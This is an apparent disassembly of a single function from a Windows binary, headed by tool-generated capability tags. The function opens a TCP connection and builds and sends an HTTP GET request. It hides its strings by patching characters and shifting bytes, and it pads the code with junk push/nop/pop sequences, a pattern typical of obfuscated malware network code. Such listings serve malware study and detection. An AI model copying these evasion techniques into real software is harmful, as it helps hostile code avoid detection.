Function at 0x40e710
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Contain obfuscated stackstrings
Create tcp socket
Create udp socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x425152
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x348
mov dword [ebp - 4], 0
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
lea eax, [ebp - 0x1a4]
push eax
mov ecx, dword [ebp + 8]
push ecx
call fcn.0040e580
add esp, 8
movzx edx, al
test edx, edx
jne 0x40e778
mov byte [ebp - 0xd], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 0xc]
call fcn.00418dc0
mov al, byte [ebp - 0xd]
jmp 0x40f12d
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0xffffffff
jne 0x40e7a8
mov byte [ebp - 0xe], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 0xc]
call fcn.00418dc0
mov al, byte [ebp - 0xe]
jmp 0x40f12d
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
push 0x10
lea eax, [ebp - 0x1a4]
push eax
mov ecx, dword [ebp - 0x18]
push ecx
call dword [sym.imp.WS2_32.dll_connect]
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0xffffffff
jne 0x40e7ed
mov byte [ebp - 0xf], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 0xc]
call fcn.00418dc0
mov al, byte [ebp - 0xf]
jmp 0x40f12d
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
push str.H__P
lea ecx, [ebp - 0xec]
call fcn.00418290
mov byte [ebp - 4], 1
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
push 1
lea ecx, [ebp - 0xec]
call fcn.00419680
mov byte [eax], 0x54
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
push 2
lea ecx, [ebp - 0xec]
call fcn.00419680
mov byte [eax], 0x54
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x134], esp
push 0x462128
call fcn.00418120
mov dword [ebp - 0x34], eax
mov edx, dword [ebp - 0x34]
mov dword [ebp - 0xf0], edx
mov byte [ebp - 4], 2
push 0x42792c
lea ecx, [ebp - 0x1bc]
call fcn.00418290
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x3c], eax
mov byte [ebp - 4], 3
mov ecx, dword [ebp - 0x3c]
push ecx
lea edx, [ebp - 0x194]
push edx
mov byte [ebp - 4], 4
call fcn.004080f0
add esp, 0x20
mov dword [ebp - 0xf4], eax
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x1bc]
call fcn.00418dc0
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0xf8], esp
push 0x462128
call fcn.00418120
mov dword [ebp - 0xfc], eax
lea eax, [ebp - 0xec]
push eax
lea ecx, [ebp - 0x130]
push ecx
call fcn.004080f0
add esp, 0x20
mov dword [ebp - 0x100], eax
mov byte [ebp - 4], 7
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
lea ecx, [ebp - 0x17c]
call fcn.00418360
mov byte [ebp - 4], 8
mov dword [ebp - 0x1c], 0
jmp 0x40e94d
mov edx, dword [ebp - 0x1c]
add edx, 1
mov dword [ebp - 0x1c], edx
lea ecx, [ebp + 0xc]
call fcn.00422b10
cmp dword [ebp - 0x1c], eax
jae 0x40e97a
mov eax, dword [ebp - 0x1c]
push eax
lea ecx, [ebp + 0xc]
call fcn.00419680
movsx ecx, byte [eax]
add ecx, 0x11
push ecx
lea ecx, [ebp - 0x17c]
call fcn.00420ff0
jmp 0x40e944
push str.G_T
lea ecx, [ebp - 0x164]
call fcn.00418290
mov byte [ebp - 4], 9
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
push 1
lea ecx, [ebp - 0x164]
call fcn.00419680
mov byte [eax], 0x45
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
lea ecx, [ebp - 0xd4]
call fcn.00418360
mov byte [ebp - 4], 0xa
push 0x42793c
push str._1.1
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x104], esp
push 0x462128
call fcn.00418120
mov dword [ebp - 0x108], eax
lea edx, [ebp - 0x130]
push edx
lea eax, [ebp - 0x24c]
push eax
call fcn.004080f0
add esp, 0x20
mov dword [ebp - 0x40], eax
mov ecx, dword [ebp - 0x40]
mov dword [ebp - 0x44], ecx
mov byte [ebp - 4], 0xb
mov edx, dword [ebp - 0x44]
push edx
push 0x427954
mov eax, dword [ebp + 8]
add eax, 0x18
push eax
lea ecx, [ebp - 0x164]
push ecx
lea edx, [ebp - 0x234]
push edx
call fcn.00415360
add esp, 0xc
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x4c], eax
mov byte [ebp - 4], 0xc
mov ecx, dword [ebp - 0x4c]
push ecx
lea edx, [ebp - 0x21c]
push edx
call fcn.00415320
add esp, 0xc
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0x54], eax
mov byte [ebp - 4], 0xd
mov ecx, dword [ebp - 0x54]
push ecx
lea edx, [ebp - 0x204]
push edx
call fcn.00415230
add esp, 0xc
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x58]
mov dword [ebp - 0x5c], eax
mov byte [ebp - 4], 0xe
mov ecx, dword [ebp - 0x5c]
push ecx
lea edx, [ebp - 0x1ec]
push edx
call fcn.00415320
add esp, 0xc
mov dword [ebp - 0x60], eax
mov eax, dword [ebp - 0x60]
mov dword [ebp - 0x64], eax
mov byte [ebp - 4], 0xf
mov ecx, dword [ebp - 0x64]
push ecx
lea edx, [ebp - 0x1d4]
push edx
call fcn.00415320
add esp, 0xc
mov dword [ebp - 0x68], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x6c], eax
mov ecx, dword [ebp - 0x6c]
push ecx
lea ecx, [ebp - 0xd4]
call fcn.004192d0
lea ecx, [ebp - 0x1d4]
call fcn.00418dc0
mov byte [ebp - 4], 0xe
lea ecx, [ebp - 0x1ec]
call fcn.00418dc0
mov byte [ebp - 4], 0xd
lea ecx, [ebp - 0x204]
call fcn.00418dc0
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x21c]
call fcn.00418dc0
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x234]
call fcn.00418dc0
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x24c]
call fcn.00418dc0
push 0x427958
mov edx, dword [ebp + 8]
push edx
push str.Host:
lea eax, [ebp - 0x27c]
push eax
call fcn.004154f0
add esp, 0xc
mov dword [ebp - 0x70], eax
mov ecx, dword [ebp - 0x70]
mov dword [ebp - 0x74], ecx
mov byte [ebp - 4], 0x10
mov edx, dword [ebp - 0x74]
push edx
lea eax, [ebp - 0x264]
push eax
call fcn.00415320
add esp, 0xc
mov dword [ebp - 0x78], eax
mov ecx, dword [ebp - 0x78]
mov dword [ebp - 0x7c], ecx
mov byte [ebp - 4], 0x11
mov edx, dword [ebp - 0x7c]
push edx
lea ecx, [ebp - 0xd4]
call fcn.00419970
mov byte [ebp - 4], 0x10
lea ecx, [ebp - 0x264]
call fcn.00418dc0
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x27c]
call fcn.00418dc0
push str.Accept_Language:_en_us_r_n
lea ecx, [ebp - 0xd4]
call fcn.004199b0
push str.Connection:_close_r_n
lea ecx, [ebp - 0xd4]
call fcn.004199b0
push 0x42799c
lea eax, [ebp - 0x17c]
push eax
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x10c], esp
push 0x462128
call fcn.00418120
mov dword [ebp - 0x110], eax
lea ecx, [ebp - 0x194]
push ecx
lea edx, [ebp - 0x2dc]
push edx
call fcn.004080f0
add esp, 0x20
mov dword [ebp - 0x80], eax
mov eax, dword [ebp - 0x80]
mov dword [ebp - 0x84], eax
mov byte [ebp - 4], 0x12
mov ecx, dword [ebp - 0x84]
push ecx
push str.User_Agent:
lea edx, [ebp - 0x2c4]
push edx
call fcn.004154b0
add esp, 0xc
mov dword [ebp - 0x88], eax
mov eax, dword [ebp - 0x88]
mov dword [ebp - 0x8c], eax
mov byte [ebp - 4], 0x13
mov ecx, dword [ebp - 0x8c]
push ecx
lea edx, [ebp - 0x2ac]
push edx
call fcn.004152e0
add esp, 0xc
mov dword [ebp - 0x90], eax
mov eax, dword [ebp - 0x90]
mov dword [ebp - 0x94], eax
mov byte [ebp - 4], 0x14
mov ecx, dword [ebp - 0x94]
push ecx
lea edx, [ebp - 0x294]
push edx
call fcn.00415320
add esp, 0xc
mov dword [ebp - 0x98], eax
mov eax, dword [ebp - 0x98]
mov dword [ebp - 0x9c], eax
mov byte [ebp - 4], 0x15
mov ecx, dword [ebp - 0x9c]
push ecx
lea ecx, [ebp - 0xd4]
call fcn.00419970
mov byte [ebp - 4], 0x14
lea ecx, [ebp - 0x294]
call fcn.00418dc0
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0x2ac]
call fcn.00418dc0
mov byte [ebp - 4], 0x12
lea ecx, [ebp - 0x2c4]
call fcn.00418dc0
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x2dc]
call fcn.00418dc0
push 0x4279c0
lea ecx, [ebp - 0xd4]
call fcn.004199b0
push 0
lea ecx, [ebp - 0xd4]
call fcn.00420040
push eax
lea ecx, [ebp - 0xd4]
call fcn.0041ec00
push eax
mov edx, dword [ebp - 0x18]
push edx
call dword [sym.imp.WS2_32.dll_send]
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0xffffffff
jne 0x40ed92
mov byte [ebp - 0x10], 0
mov byte [ebp - 4], 9
lea ecx, [ebp - 0xd4]
call fcn.00418dc0
mov byte [ebp - 4], 8
lea ecx, [ebp - 0x164]
call fcn.00418dc0
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x17c]
call fcn.00418dc0
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x130]
call fcn.00418dc0
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x194]
call fcn.00418dc0
mov byte [ebp - 4], 0
lea ecx, [ebp - 0xec]
call fcn.00418dc0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 0xc]
call fcn.00418dc0
mov al, byte [ebp - 0x10]
jmp 0x40f12d
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
mov eax, dword [ebp - 0x18]
push eax
lea ecx, [ebp - 0x2f4]
push ecx
call fcn.0040e4b0
add esp, 8
mov dword [ebp - 0xa0], eax
mov edx, dword [ebp - 0xa0]
push edx
mov ecx, dword [ebp + 8]
add ecx, 0x3c
call fcn.004192d0
lea ecx, [ebp - 0x2f4]
call fcn.00418dc0
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
mov eax, dword [ebp - 0x18]
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
push 0
push str._r_n_r_n
mov ecx, dword [ebp + 8]
add ecx, 0x3c
call fcn.0041f7c0
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0xffffffff
jne 0x40ee90
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
mov byte [ebp - 0x11], 0
mov byte [ebp - 4], 9
lea ecx, [ebp - 0xd4]
call fcn.00418dc0
mov byte [ebp - 4], 8
lea ecx, [ebp - 0x164]
call fcn.00418dc0
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x17c]
call fcn.00418dc0
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x130]
call fcn.00418dc0
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x194]
call fcn.00418dc0
mov byte [ebp - 4], 0
lea ecx, [ebp - 0xec]
call fcn.00418dc0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 0xc]
call fcn.00418dc0
mov al, byte [ebp - 0x11]
jmp 0x40f12d
mov ecx, dword [ebp - 0x28]
add ecx, 4
push ecx
push 0
lea edx, [ebp - 0x14c]
push edx
mov ecx, dword [ebp + 8]
add ecx, 0x3c
call fcn.00422c90
mov byte [ebp - 4], 0x16
mov eax, dword [0x427a80]
push eax
mov ecx, dword [ebp - 0x28]
add ecx, 4
push ecx
lea edx, [ebp - 0x30c]
push edx
mov ecx, dword [ebp + 8]
add ecx, 0x3c
call fcn.00422c90
mov dword [ebp - 0xa4], eax
mov eax, dword [ebp - 0xa4]
push eax
mov ecx, dword [ebp + 8]
add ecx, 0x3c
call fcn.004192d0
lea ecx, [ebp - 0x30c]
call fcn.00418dc0
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
push 0
push str._1.1_200
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x114], esp
push 0x462128
call fcn.00418120
mov dword [ebp - 0x118], eax
lea ecx, [ebp - 0x130]
push ecx
lea edx, [ebp - 0x33c]
push edx
call fcn.004080f0
add esp, 0x20
mov dword [ebp - 0xa8], eax
mov eax, dword [ebp - 0xa8]
mov dword [ebp - 0xac], eax
mov byte [ebp - 4], 0x17
mov ecx, dword [ebp - 0xac]
push ecx
lea edx, [ebp - 0x324]
push edx
call fcn.00415320
add esp, 0xc
mov dword [ebp - 0xb0], eax
mov eax, dword [ebp - 0xb0]
mov dword [ebp - 0xb4], eax
mov ecx, dword [ebp - 0xb4]
push ecx
lea ecx, [ebp - 0x14c]
call fcn.0041f750
mov dword [ebp - 0xb8], eax
cmp dword [ebp - 0xb8], 0xffffffff
je 0x40efad
mov dword [ebp - 0x2c], 1
jmp 0x40efb4
mov dword [ebp - 0x2c], 0
mov dl, byte [ebp - 0x2c]
mov byte [ebp - 0x12], dl
lea ecx, [ebp - 0x324]
call fcn.00418dc0
mov byte [ebp - 4], 0x16
lea ecx, [ebp - 0x33c]
call fcn.00418dc0
movzx eax, byte [ebp - 0x12]
test eax, eax
je 0x40efea
mov ecx, 0xc8
mov edx, dword [ebp + 8]
mov word [edx + 0x38], cx
jmp 0x40f004
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
mov eax, 0x194
mov ecx, dword [ebp + 8]
mov word [ecx + 0x38], ax
push 0
push str.Content_Length:
lea ecx, [ebp - 0x14c]
call fcn.0041f7c0
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0xffffffff
je 0x40f0ae
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
mov edx, dword [ebp - 0x20]
add edx, 1
push edx
push 0x4279fc
lea ecx, [ebp - 0x14c]
call fcn.0041f7c0
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0xffffffff
je 0x40f0ae
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
mov eax, dword [ebp - 0x30]
sub eax, dword [ebp - 0x20]
sub eax, 0x10
push eax
mov ecx, dword [ebp - 0x20]
add ecx, 0x10
push ecx
lea edx, [ebp - 0x354]
push edx
lea ecx, [ebp - 0x14c]
call fcn.00422c90
mov dword [ebp - 0xbc], eax
mov ecx, dword [ebp - 0xbc]
call fcn.0041ec00
push eax
call dword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atoi]
add esp, 4
mov ecx, dword [ebp + 8]
mov dword [ecx + 0x34], eax
lea ecx, [ebp - 0x354]
call fcn.00418dc0
mov byte [ebp - 0x13], 1
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x14c]
call fcn.00418dc0
mov byte [ebp - 4], 9
lea ecx, [ebp - 0xd4]
call fcn.00418dc0
mov byte [ebp - 4], 8
lea ecx, [ebp - 0x164]
call fcn.00418dc0
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x17c]
call fcn.00418dc0
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x130]
call fcn.00418dc0
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x194]
call fcn.00418dc0
mov byte [ebp - 4], 0
lea ecx, [ebp - 0xec]
call fcn.00418dc0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 0xc]
call fcn.00418dc0
mov al, byte [ebp - 0x13]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret